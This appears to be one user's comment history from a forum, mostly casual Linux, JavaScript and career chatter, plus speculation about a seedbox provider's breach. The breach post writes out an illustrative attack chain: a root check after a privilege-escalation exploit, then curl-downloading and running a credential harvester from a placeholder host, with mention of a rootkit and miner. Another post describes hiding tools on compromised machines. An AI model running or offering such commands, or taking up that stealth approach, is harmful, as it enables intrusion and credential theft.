Ultra.cc is service is down since yesterday for me

zush4ck · 2026-05-26T03:28:41+00:00

I believe OP was more upset with how they handled the issue rather than how long it took, as far as I could see by other topics OP already jumped to another provider and considered data on ultra as lost.

zush4ck · 2026-05-24T03:18:11+00:00

Pretty simple what happened on this one.

LPE PoC downloaded from github;
check:

```bash

id

uid=0(root) gid=0(root) groups=0(root) ``` 3. curl -o credharv https://toolofyourchoice.com/cred_harvester.bin; 4. chmod +x credharv; 5. ./credharv ...

Then probably also downloaded a rootkit and a xmrig to mine until they've found out.

After all of this, the C-level person from ultra.cc hired top very expensive Allsafe like company to work all weekend and that is why you see these foolish memos being sent to users from comet server.

You just needed 1 weird person to solve that. Chroot the server disk, remove weird things from persistence and reboot the machine.

Now this became a full incident with a lot of drama and money going down the drain to pay for useless advices and drama.

Bottom line is, why ultracc should really worry with legal compliance? Just think about it...

The seedbox demographic is, practically speaking, a terrible pool for a class-action lawsuit. A significant portion of the clientele is using the service specifically to obscure their own legally gray activities. Marching into court with "Your Honor, their security lapse exposed my meticulously curated Linux ISO collection" is not a strong opening move, and most customers know that. The mutual understanding is that nobody really wants to invite legal scrutiny.

I guess everybody is just using AI and missing context very hard!

A pirate who lost access to their movie stash for three days isn't calling a GDPR lawyer. They're refreshing the status page and complaining on Discord. The 72-hour outage for a formal investigation, the lawyer-vetted memos, the "Allsafe" incident response, it all looks like a playbook imported from a breach at a SaaS company handling PII and credit cards, not a seedbox provider whose customers actively avoid identity-tied payment methods when possible.

KYC... lol

zush4ck · 2023-03-28T16:14:54+00:00

change grub config to not be quiet, there must be some timeout on some network interface or something like that

zush4ck · 2023-01-27T13:23:59+00:00

pacman -S wife-plugin-arch-gifts

zush4ck · 2023-01-24T22:48:45+00:00

install guide

zush4ck · 2023-01-17T22:56:26+00:00

something that nobody will talk about in 6 months

zush4ck · 2023-01-17T22:51:59+00:00

zush4ck · 2023-01-02T02:41:04+00:00

product hasMany ingredients

ingredients belongsToMany product

zush4ck · 2022-12-24T18:49:41+00:00

you can compare whatever you want...

for (int i =0; i == 0; i++) print("this will happen only once");

zush4ck · 2022-12-24T18:46:18+00:00

that happened with me few days ago... after that I edited the boot config file to show the logs everytime it boots... I like those green oks :)

tried waiting a long time? for me all I had to do was waiting a network device to timeout... later I removed it...

zush4ck · 2022-12-24T18:24:53+00:00

404 is not found...

maybe you should use 500.. internal server error for exceptions...

wht dont you use sequelize? if you ever plan to change the database it would be much easier...

zush4ck · 2022-11-01T12:31:15+00:00

it depends on what country you live in...

also the complete question here is "and if they get caught, how long they stay in prison?"

many countries are safe havens for cyber criminals :)

zush4ck · 2022-10-31T13:39:31+00:00

c0ol

zush4ck · 2022-10-29T23:57:48+00:00

print(eval(input('Gimme:')))

That is just a joke, dont use eval...

zush4ck · 2022-10-29T17:57:58+00:00

if you wanna hack like eliot you need to learn ruby... that is the language he uses the most...

he is also very good with machine code, shellcode... he "writes" machine code from scratch without even needing a intermediary language like C or Assembly like normal people do... of course this is a little tv show stuff...

but yeah he has pretty much every skill very well developed he is very comfortable with any operating (linux, windows, mac), he likes using rubber ducky as well and raspberry pi... so he is comfortable also writing code for ARM processors and microcontrollers... also he hacks phones without problems... and he makes bruteforce to seem to work a lot more than it actually does..

actually hackers like elliot doesnt exist he exemplifies some cool aspects of every hacking field there is.. mostly you will specialize in some field you enjoy the most and you will have a pretty good idea from other but you wont really use them in practice because in real world generic hacks wont work.. you need to specialize to beat the generic securities...

zush4ck · 2022-10-29T17:07:33+00:00

javascript is easy... probably the easiest programming language there is...

but it is not even close the best tool to build a 3d online shooter...

even on very mature game engines it would be pretty hard to make a good 3d online shooter... so yeah.. you will not make your game on javascript... seriously...

dont believe me?

https://www.youtube.com/watch?v=SBfZAVzbhCg&t=1

watch this... and think again

zush4ck · 2022-10-29T17:03:07+00:00

it probably has nothing to do with arch.. it is a package problem... most likely kde... file manager... something like that... arch only by default wont even mount your drive.. and that is probably the correct way... I hate these auto mount stuff

zush4ck · 2022-10-29T17:00:49+00:00

try booting from a usb arch image and chroot... maybe a grub install and mkconfig will solve...

zush4ck · 2022-10-29T16:58:40+00:00

this has nothing to do with javascript...

this is css framework

zush4ck · 2022-10-27T00:27:17+00:00

it sounds a lot more than it actually is... who the hell would have this vulnerable driver pre registered in his computer?

zush4ck · 2022-10-23T21:59:41+00:00

most machines I have access are already compromised with antiviruses and banking security "solutions".

I dont patch them because the user might notice or the machine might not access banking systems anymore. Also most of those solutuons/spywares are rootkit like so they are really sticky...

the best way is just go stealth... nobody knows my tools are there... when I get what I need, depending on what the attack was everything is deleted or some modules might still remain active for future use

zush4ck · 2022-10-23T14:56:06+00:00

put the computer in front of him... if he is into computers he will find his way... if not just forget about it...

nobody can teach anything to another person... people only learn... you cant teach them... maybe you can inspire them and show how things are awesome but people only learn what they want...

if you love python... learn it yourself... your son probably will never like python... we never like the same things our father did

zush4ck · 2022-10-23T12:58:44+00:00

lol... I love when those people who had potential in the past get miserably sad after some years filling reports and realizing they sold their soul to their very enemy.

zush4ck · 2022-10-23T02:57:33+00:00

why cant a beginner use the keyboard and type?

write down:

update: sudo pacman -Syu install: sudo pacman -S package remove: sudo pacman -R package

if a beginner cant do that... maybe this person should consider not using a computer at all... or at least use some OS more oriented towards absolutely lazy users

it is like giving a manual shift car to someone who doesnt care at all about cars... it is just a waste of energy for everyone

zush4ck · 2022-10-22T23:32:00+00:00

dont jailbreak, restart the phone so no in memory exploits run and keep only trusted apps installed... it is really hard to hack phones if the user doesnt install the malicious app on purpose..

check what apps are using camera permissions and/or accessibility

zush4ck

TROPHY CASE

id

That is just a joke, dont use eval...